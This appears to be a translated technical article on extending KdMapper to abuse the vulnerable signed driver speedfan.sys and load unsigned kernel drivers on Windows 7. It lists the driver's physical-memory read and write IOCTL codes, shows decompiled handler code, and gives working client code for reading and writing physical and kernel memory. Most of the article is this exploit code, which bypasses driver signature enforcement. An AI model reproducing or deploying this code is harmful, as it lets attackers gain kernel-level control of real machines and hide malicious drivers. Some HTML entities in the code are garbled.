KdMapper extension implementation SOKNO S.R.L (speedfan.sys)

1.Background

KdMapper is a tool that exploits Intel driver vulnerabilities to load unsigned drivers without trace. This article uses other vulnerabilities (refer to “[Reprint] Using Signed Driver Vulnerabilities to Load Unsigned Drivers”) and make corresponding modifications to achieve similar functions. . Everyone needs to have a certain understanding of the KdMapper code.

2. Driver information

Driver name speedfan.sys?
Time stamp 50DF59B7
MD5 0FFE35F0B0CD5A324BBE22F02569AE3B
File version 2.3.11.0
Device name \.\SpeedFan
Read physical memory 0x9C402428
Write physical memory 0x9C40242C
Windows 7 Supported
Windows 10 Not supported
Windows 11 Not supported

3.IDA analysis

3.1 Entry function:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax
 
        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64) & amp;BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & amp; 0xFFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return CreateDevice(DriverObject, RegistryPath);
}</code>

3.2 Creating devices and symbolic links

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS result; //eax
        _UNICODE_STRING* v5; // rdi
        size_t v6; // rax
        __int64 v7; // r8
        NTSTATUS v8; // eax
        NTSTATUS v9; // edi
        __int64 v10; // [rsp + 20h] [rbp-38h]
        struct _UNICODE_STRING DestinationString; // [rsp + 40h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp + 68h] [rbp + 10h] BYREF
 
        RtlInitUnicodeString( & amp;DestinationString, aDeviceSpeedfan);
        result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, & amp;DestinationString, 0x9C40u, 0, 0, & amp;DeviceObject);
        if (result >= 0)
        {
                DeviceObject->Flags |= 4u;
                v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
                *(_DWORD*) & amp;v5[2].Length = 0;
                *(_DWORD*)( & amp;v5[2].MaximumLength + 1) = 0;
                LODWORD(v5[2].Buffer) = 0;
                v5[1].MaximumLength = RegistryPath->MaximumLength;
                v6 = RegistryPath->Length;
                v5[1].Buffer = & amp;v5[7].Length;
                v5[1].Length = v6;
                memmove( & amp;v5[7], RegistryPath->Buffer, v6);
                sub_175B4(v5);
                if ((int)sub_176C8(v5) >= 0)
                {
                        v7 = *(unsigned int*) & amp;v5[2].Length;
                        if (_bittest((const int*) & amp;v7, 0x1Du))
                        {
                                LODWORD(v10) = v5[2].Buffer;
                                DbgPrint(
                                        "SpeedFan %s Built Dec 29 2012 21:59:34 Debug X Break X Setup X\\
",
                                        aX20311,
                                        v7,
                                        *(unsigned int*)( & amp;v5[2].MaximumLength + 1),
                                        v10);
                        }
                }
                v8 = IoCreateSymbolicLink(v5, & amp;DestinationString);
                v9 = v8;
                if (v8 >= 0 || v8 == 0xC0000035)
                {
                        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;
                        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;
                        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH) & amp;sub_114C8;
                        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
                        result = 0;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                        result = v9;
                }
        }
        return result;
}

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        int ntStatus; //ebx
        PHYSICAL_ADDRESS* pMemoryInfo; // rdi
        unsigned int nInputBufferLength; // er12
        SIZE_T nOutputBufferLength; // r13
        unsigned int nIoControlCode; // esi
   
        LONGLONG PhysicalAddressV31; // rbx
        PVOID pMappedIoSpaceV32; // rax
        void* pMappedIoSpaceV33; // r14
        LONGLONG PhysicalAddressV34; // rbx
        PVOID pMappedIoSpaceV35; // rax
        void* pMappedIoSpaceV36; // r14
 
        void* Dst; // [rsp + 20h] [rbp-D8h]
 
        LONGLONG PhysicalAddressV52; // [rsp + 70h] [rbp-88h]
        LONGLONG PhysicalAddressV53; // [rsp + 70h] [rbp-88h]
 
        void* PhysicalAddress; // [rsp + 100h] [rbp + 8h]
        IRP* Irp; // [rsp + 108h] [rbp + 10h]
 
        Irp = pIrp;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
 
        pIrp->IoStatus.Information = 0i64;
        ntStatus = 0xC0000023;
        pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;
 
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        ...
                switch(nIoControlCode)
                {
                case 0x9C402428:
                        if (nInputBufferLength >= 8 & amp; & amp; (_DWORD)nOutputBufferLength)// Read physical memory
                        {
                                PhysicalAddressV34 = pMemoryInfo->QuadPart;
                                PhysicalAddressV53 = pMemoryInfo->QuadPart;
                                pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);
                                pMappedIoSpaceV36 = pMappedIoSpaceV35;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV35;
                                if (pMappedIoSpaceV35)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nOutputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_READ ofo %p pad X_ X vad %p siz X\\
",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV53),
                                                        (unsigned int)PhysicalAddressV34,
                                                        pMappedIoSpaceV35,
                                                        v47);
                                        }
                                        memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);
                                        Irp->IoStatus.Information = nOutputBufferLength;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;
                case 0x9C40242C:
                        if (nInputBufferLength > 8) //Write to physical memory
                        {
                                PhysicalAddressV31 = pMemoryInfo->QuadPart;
                                PhysicalAddressV52 = pMemoryInfo->QuadPart;
                                nInputBufferLength -= 8;
                                pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);
                                pMappedIoSpaceV33 = pMappedIoSpaceV32;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV32;
                                if (pMappedIoSpaceV32)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nInputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_WRITE ofo %p pad X_ X vad %p siz X\\
",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV52),
                                                        (unsigned int)PhysicalAddressV31,
                                                        pMappedIoSpaceV32,
                                                        v47);
                                        }
                                        memmove(pMappedIoSpaceV33, & amp;pMemoryInfo[1], nInputBufferLength);
                                        Irp->IoStatus.Information = 0i64;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;

                LABEL_145:
                        if (ntStatus >= 0)
                                goto LABEL_149;
                        v5 = v51;
                        goto LABEL_147;
                }
 
        ...
 
LABEL_149:
        Irp->IoStatus.Status = ntStatus;
        IofCompleteRequest(Irp, 0);
        return (unsigned int)ntStatus;
}

Among them, 0x9C402428 means reading physical memory, and 0x9C40242C means writing physical memory.

3.4 Precautions for use

The implementation uses MmMapIoSpace to map physical memory to process space or read and write later. Due to the use of physical memory, you will encounter the problem of non-one-to-one correspondence between physical pages and virtual pages during the coding process. For descriptions of the problems and solutions, see “Related Problems Encountered in KdMapper Extensions”.

4. Code implementation

4.1 .h file

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
 
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
 
#define SPEEDFAN_DEVICE_TYPE (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B
 
#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C

4.2 .c file

NTSTATUS sokno_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                 &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);
 
        if (ntStatus == STATUS_PENDING) {
 
                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }
 
        if(IoStatus)
                *IoStatus = ioStatus;
 
        return ntStatus;
}
 
BOOL sokno_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                 &ioStatus);
 
        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}
 
BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
 
        __try {
 
                if(DoWrite)
                {
                        PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);
                        if(pWriteInfo)
                        {
                                pWriteInfo->QuadPart = PhysicalAddress;
                                RtlCopyMemory( & amp;pWriteInfo[1], Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);
                                if (!bResult)
                                {
                                        Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\\
");
                                }
                        }
                        else
                        {
                                Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\\
");
                        }
                }
                else {
                        PHYSICAL_ADDRESS address;
                        address.QuadPart = PhysicalAddress;
                        bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, & amp;address, sizeof(address), Buffer, NumberOfBytes);
                        if (!bResult)
                        {
                                Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\\
");
                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }
 
 
        SetLastError(dwError);
        return bResult;
}
 
BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}
 
BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}
 
BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                 &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);
 
        }
 
        return bResult;
}
 
BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                 &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);
 
        }
 
        return bResult;
}

Among them, SuperReadKernelVirtualMemory and SuperWriteKernelVirtualMemory read and write the virtual address to physical address function in the virtual address memory page. The implementation of SuperVirtualToPhysical is introduced in the article “KdMapper Extended Implementation of Virtual Address to Physical Address”.

At the same time, due to the use of MmMapIoSpace, it can only run on Win7. For details, see “KdMapper Extension Implementation of Virtual Address Conversion to Physical Address”.

5. Operation effect

The effect of running on Windows 7 x64 environment is as follows. The driver HelloWorld.sys is an unsigned driver. For detailed description, please see the article “Implementation of KdMapper Loaded Driver”.

?

6.Special Tips

KdMapper made using speedfan.sys can only run on Win 7 x64 environment. Win10 and above environments will cause a blue screen due to the use of MmMapIoSpace.